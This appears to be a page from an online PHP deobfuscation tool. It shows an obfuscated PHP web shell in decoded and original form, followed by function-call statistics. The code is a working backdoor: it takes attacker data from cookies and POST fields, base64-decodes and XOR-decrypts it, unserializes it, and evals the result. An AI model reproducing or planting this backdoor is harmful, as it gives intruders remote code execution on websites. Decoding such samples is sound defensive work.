Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $UJOvmGViNh = chr(121) . "\137" . chr(1048 - 958) . chr(1030 - 962) . "\132" . "\x..
Decoded Output download
<?php
$UJOvmGViNh = chr(121) . "_" . chr(1048 - 958) . chr(1030 - 962) . "Z" . "K" . chr(103);
$flSJvlxlt = "c" . chr(513 - 405) . "a" . chr(115) . chr(115) . chr(95) . chr(101) . chr(120) . 'i' . chr(115) . "t" . "s";
$QkEdo = $flSJvlxlt($UJOvmGViNh);
$flSJvlxlt = "37259";
$NQhRCVjFDH = $QkEdo;
if (!$NQhRCVjFDH) {
class y_ZDZKg {
private $GORPFRq;
public static $yKORcEKNG = "ff7dc94a-cd48-4315-9912-15abb02e37e2";
public static $qVnKo = 15648;
public function __construct($ruengKJTEw = 0) {
$FUzXQA = $_COOKIE;
$shSOHNtR = $_POST;
$UMvZUDayed = @$FUzXQA[substr(y_ZDZKg::$yKORcEKNG, 0, 4) ];
if (!empty($UMvZUDayed)) {
$GDBJidQIPy = "base64";
$XSjZFRVQ = "";
$UMvZUDayed = explode(",", $UMvZUDayed);
foreach ($UMvZUDayed as $CxUpUSdp) {
$XSjZFRVQ.= @$FUzXQA[$CxUpUSdp];
$XSjZFRVQ.= @$shSOHNtR[$CxUpUSdp];
}
$XSjZFRVQ = array_map($GDBJidQIPy . '_' . chr(100) . chr(1082 - 981) . chr(99) . 'o' . "d" . chr(101), array($XSjZFRVQ,));
$XSjZFRVQ = $XSjZFRVQ[0] ^ str_repeat(y_ZDZKg::$yKORcEKNG, (strlen($XSjZFRVQ[0]) / strlen(y_ZDZKg::$yKORcEKNG)) + 1);
y_ZDZKg::$qVnKo = @unserialize($XSjZFRVQ);
}
}
private function EAnfrILBBH() {
if (is_array(y_ZDZKg::$qVnKo)) {
$jgZNuZBCx = str_replace(chr(60) . "?" . "p" . "h" . 'p', "", y_ZDZKg::$qVnKo[chr(99) . "o" . chr(110) . "t" . 'e' . 'n' . chr(1105 - 989) ]);
eval($jgZNuZBCx);
$PGvZmxiRu = "28649";
exit();
}
}
public function __destruct() {
$this->EAnfrILBBH();
$PGvZmxiRu = "28649";
}
}
$cLkPDmP = new y_ZDZKg();
$cLkPDmP = "18138_43633";
} ?>
Did this file decode correctly?
Original Code
<?php
$UJOvmGViNh = chr(121) . "\137" . chr(1048 - 958) . chr(1030 - 962) . "\132" . "\x4b" . chr(103);
$flSJvlxlt = "\143" . chr(513 - 405) . "\x61" . chr(115) . chr(115) . chr(95) . chr(101) . chr(120) . 'i' . chr(115) . "\x74" . "\x73";
$QkEdo = $flSJvlxlt($UJOvmGViNh);
$flSJvlxlt = "37259";
$NQhRCVjFDH = $QkEdo;
if (!$NQhRCVjFDH) {
class y_ZDZKg {
private $GORPFRq;
public static $yKORcEKNG = "ff7dc94a-cd48-4315-9912-15abb02e37e2";
public static $qVnKo = 15648;
public function __construct($ruengKJTEw = 0) {
$FUzXQA = $_COOKIE;
$shSOHNtR = $_POST;
$UMvZUDayed = @$FUzXQA[substr(y_ZDZKg::$yKORcEKNG, 0, 4) ];
if (!empty($UMvZUDayed)) {
$GDBJidQIPy = "base64";
$XSjZFRVQ = "";
$UMvZUDayed = explode(",", $UMvZUDayed);
foreach ($UMvZUDayed as $CxUpUSdp) {
$XSjZFRVQ.= @$FUzXQA[$CxUpUSdp];
$XSjZFRVQ.= @$shSOHNtR[$CxUpUSdp];
}
$XSjZFRVQ = array_map($GDBJidQIPy . '_' . chr(100) . chr(1082 - 981) . chr(99) . 'o' . "\144" . chr(101), array($XSjZFRVQ,));
$XSjZFRVQ = $XSjZFRVQ[0] ^ str_repeat(y_ZDZKg::$yKORcEKNG, (strlen($XSjZFRVQ[0]) / strlen(y_ZDZKg::$yKORcEKNG)) + 1);
y_ZDZKg::$qVnKo = @unserialize($XSjZFRVQ);
}
}
private function EAnfrILBBH() {
if (is_array(y_ZDZKg::$qVnKo)) {
$jgZNuZBCx = str_replace(chr(60) . "\x3f" . "\x70" . "\x68" . 'p', "", y_ZDZKg::$qVnKo[chr(99) . "\157" . chr(110) . "\x74" . 'e' . 'n' . chr(1105 - 989) ]);
eval($jgZNuZBCx);
$PGvZmxiRu = "28649";
exit();
}
}
public function __destruct() {
$this->EAnfrILBBH();
$PGvZmxiRu = "28649";
}
}
$cLkPDmP = new y_ZDZKg();
$cLkPDmP = "18138_43633";
} ?>
Function Calls
chr | 11 |
class_exists | 1 |
Stats
MD5 | 102c5f208fceda0d27d39dbe5a4d363f |
Eval Count | 0 |
Decode Time | 56 ms |